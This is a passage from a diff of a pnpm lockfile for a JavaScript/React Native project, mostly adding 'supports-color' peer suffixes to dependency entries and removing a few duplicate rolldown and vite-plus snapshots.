2.2.4 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 - '@babel/plugin-transform-arrow-functions': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-shorthand-properties': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-template-literals': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7) - '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7) - '@babel/traverse': 7.29.7 + '@babel/plugin-transform-arrow-functions': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-shorthand-properties': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-template-literals': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 '@jridgewell/remapping': 2.3.5 - '@react-native/metro-config': 0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/metro-config': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) convert-source-map: 2.0.0 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) semver: 7.8.5 whatwg-fetch: 3.6.20 transitivePeerDependencies: - supports-color - react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6): + react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6): dependencies: '@react-native/asset-utils': 0.88.0 - '@react-native/codegen': 0.88.0(@babel/core@7.29.7) - '@react-native/community-cli-plugin': 0.88.0(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/codegen': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1)) + '@react-native/community-cli-plugin': 0.88.0(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@react-native/gradle-plugin': 0.88.0 '@react-native/normalize-colors': 0.88.0 - '@react-native/virtualized-lists': 0.88.0(@types/react@19.3.0)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@react-native/virtualized-lists': 0.88.0(@types/react@19.3.0)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) anser: 1.4.10 ansi-regex: 5.0.1 base64-js: 1.5.1 @@ -22016,7 +21653,7 @@ snapshots: invariant: 2.2.4 memoize-one: 5.2.1 metro-runtime: 0.87.1 - metro-source-map: 0.87.1 + metro-source-map: 0.87.1(supports-color@8.1.1) nullthrows: 1.1.1 pretty-format: 29.7.0 promise: 8.3.0 @@ -22045,9 +21682,9 @@ snapshots: react@19.3.0: {} - read-binary-file-arch@1.0.6: + read-binary-file-arch@1.0.6(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -22136,30 +21773,30 @@ snapshots: mdast-util-newline-to-break: 2.0.0 unified: 11.0.5 - remark-gfm@4.0.1: + remark-gfm@4.0.1(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 - mdast-util-gfm: 3.1.0 + mdast-util-gfm: 3.1.0(supports-color@8.1.1) micromark-extension-gfm: 3.0.0 - remark-parse: 11.0.0 + remark-parse: 11.0.0(supports-color@8.1.1) remark-stringify: 11.0.0 unified: 11.0.5 transitivePeerDependencies: - supports-color - remark-math@6.0.0: + remark-math@6.0.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 - mdast-util-math: 3.0.0(patch_hash=afe6b2c89e1eaddfd3c90cf2723f12c9a17d513e65beff51653781486013251c) + mdast-util-math: 3.0.0(patch_hash=afe6b2c89e1eaddfd3c90cf2723f12c9a17d513e65beff51653781486013251c)(supports-color@8.1.1) micromark-extension-math: micromark-extension-llm-math@3.1.0(patch_hash=49ab4815c18b003f6af998dcc6c258c17a21b50b2cc87745f12d4bd8b6d591f9) unified: 11.0.5 transitivePeerDependencies: - supports-color - remark-parse@11.0.0: + remark-parse@11.0.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) micromark-util-types: 2.0.2 unified: 11.0.5 transitivePeerDependencies: @@ -22269,28 +21906,6 @@ snapshots: '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.17 optional: true - rolldown@1.2.13: - dependencies: - '@oxc-project/types': 0.153.0 - '@rolldown/pluginutils': 1.0.1 - optionalDependencies: - '@rolldown/binding-android-arm-eabi': 1.2.13 - '@rolldown/binding-android-arm64': 1.2.13 - '@rolldown/binding-darwin-arm64': 1.2.13 - '@rolldown/binding-darwin-x64': 1.2.13 - '@rolldown/binding-freebsd-x64': 1.2.13 - '@rolldown/binding-linux-arm-gnueabihf': 1.2.13 - '@rolldown/binding-linux-arm64-gnu': 1.2.13 - '@rolldown/binding-linux-arm64-musl': 1.2.13 - '@rolldown/binding-linux-ppc64-gnu': 1.2.13 - '@rolldown/binding-linux-s390x-gnu': 1.2.13 - '@rolldown/binding-linux-x64-gnu': 1.2.13 - '@rolldown/binding-linux-x64-musl': 1.2.13 - '@rolldown/binding-openharmony-arm64': 1.2.13 - '@rolldown/binding-win32-arm64-msvc': 1.2.13 - '@rolldown/binding-win32-x64-msvc': 1.2.13 - optional: true - rolldown@1.2.5: dependencies: '@oxc-project/types': 0.146.0 @@ -22314,9 +21929,9 @@ snapshots: rope-sequence@1.3.4: {} - router@2.2.0: + router@2.2.0(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) depd: 2.0.0 is-promise: 4.0.0 parseurl: 1.3.3 @@ -22365,7 +21980,7 @@ snapshots: dependencies: '@types/json-schema': 7.0.15 ajv: 8.20.0 - ajv-formats: 2.1.1(ajv@8.20.0) + ajv-formats: 2.1.1 ajv-keywords: 5.1.0(ajv@8.20.0) semver-compare@1.0.0: @@ -22379,9 +21994,9 @@ snapshots: semver@7.8.5: {} - send@0.19.2: + send@0.19.2(supports-color@8.1.1): dependencies: - debug: 2.6.9 + debug: 2.6.9(supports-color@8.1.1) depd: 2.0.0 destroy: 1.2.0 encodeurl: 2.0.0 @@ -22397,9 +22012,9 @@ snapshots: transitivePeerDependencies: - supports-color - send@1.2.1: + send@1.2.1(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) encodeurl: 2.0.0 escape-html: 1.0.3 etag: 1.8.1 @@ -22426,21 +22041,21 @@ snapshots: seroval@1.5.4: {} - serve-static@1.16.3: + serve-static@1.16.3(supports-color@8.1.1): dependencies: encodeurl: 2.0.0 escape-html: 1.0.3 parseurl: 1.3.3 - send: 0.19.2 + send: 0.19.2(supports-color@8.1.1) transitivePeerDependencies: - supports-color - serve-static@2.2.1: + serve-static@2.2.1(supports-color@8.1.1): dependencies: encodeurl: 2.0.0 escape-html: 1.0.3 parseurl: 1.3.3 - send: 1.2.1 + send: 1.2.1(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -22723,9 +22338,9 @@ snapshots: dependencies: inline-style-parser: 0.2.7 - sumchecker@3.0.1: + sumchecker@3.0.1(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -23041,20 +22656,20 @@ snapshots: universalify@2.0.1: {} - uniwind@1.13.0(@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6))(metro-cache@0.87.1)(metro-transform-worker@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6))(metro@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(tailwindcss@4.3.3): + uniwind@1.13.0(@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6))(metro-cache@0.87.1(supports-color@8.1.1))(metro-transform-worker@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(metro@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(tailwindcss@4.3.3): dependencies: '@tailwindcss/node': 4.3.3 '@tailwindcss/oxide': 4.3.3 culori: 4.0.2 lightningcss: 1.33.0 - metro: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) - metro-cache: 0.87.1 + metro: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + metro-cache: 0.87.1(supports-color@8.1.1) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) tailwindcss: 4.3.3 optionalDependencies: - '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6) - metro-transform-worker: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6) + metro-transform-worker: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) unpipe@1.0.0: {} @@ -23069,7 +22684,7 @@ snapshots: rolldown: 1.0.0-rc.17 optional: true - unstorage@1.17.5(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0): + unstorage@1.17.5(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0(supports-color@8.1.1)): dependencies: anymatch: 3.1.3 chokidar: 5.0.0 @@ -23082,7 +22697,7 @@ snapshots: optionalDependencies: aws4fetch: 1.0.20 idb-keyval: 6.2.1 - ioredis: 5.11.0 + ioredis: 5.11.0(supports-color@8.1.1) until-async@3.0.2: optional: true @@ -23153,24 +22768,24 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0): + vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0): dependencies: '@oxc-project/types': 0.154.0 '@oxlint/plugins': 1.88.0 - '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/browser-preview': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) + '@vitest/browser-preview': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) + '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) '@vitest/pretty-format': 5.0.5 '@vitest/snapshot': 5.0.5 '@vitest/spy': 5.0.5 '@vitest/utils': 5.0.5 - oxfmt: 0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) - oxlint: 1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) + oxfmt: 0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) + oxlint: 1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) oxlint-tsgolint: 7.0.2004 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) optionalDependencies: - '@vitest/browser-playwright': 5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5) + '@vitest/browser-playwright': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) '@voidzero-dev/vite-plus-darwin-arm64': 1.3.0 '@voidzero-dev/vite-plus-darwin-x64': 1.3.0 '@voidzero-dev/vite-plus-linux-arm64-gnu': 1.3.0 @@ -23215,92 +22830,36 @@ snapshots: - vue-tsc - yaml - vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0): + vitefu@1.1.3(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0): dependencies: - '@oxc-project/types': 0.154.0 - '@oxlint/plugins': 1.88.0 - '@vitest/browser': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/browser-preview': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) - '@vitest/pretty-format': 5.0.5 - '@vitest/snapshot': 5.0.5 - '@vitest/spy': 5.0.5 - '@vitest/utils': 5.0.5 - oxfmt: 0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) - oxlint: 1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)) - oxlint-tsgolint: 7.0.2004 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) - optionalDependencies: - '@vitest/browser-playwright': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) - '@voidzero-dev/vite-plus-darwin-arm64': 1.3.0 - '@voidzero-dev/vite-plus-darwin-x64': 1.3.0 - '@voidzero-dev/vite-plus-linux-arm64-gnu': 1.3.0 - '@voidzero-dev/vite-plus-linux-arm64-musl': 1.3.0 - '@voidzero-dev/vite-plus-linux-x64-gnu': 1.3.0 - '@voidzero-dev/vite-plus-linux-x64-musl': 1.3.0 - '@voidzero-dev/vite-plus-win32-arm64-msvc': 1.3.0 - '@voidzero-dev/vite-plus-win32-x64-msvc': 1.3.0 - playwright: 1.60.0 + vite: 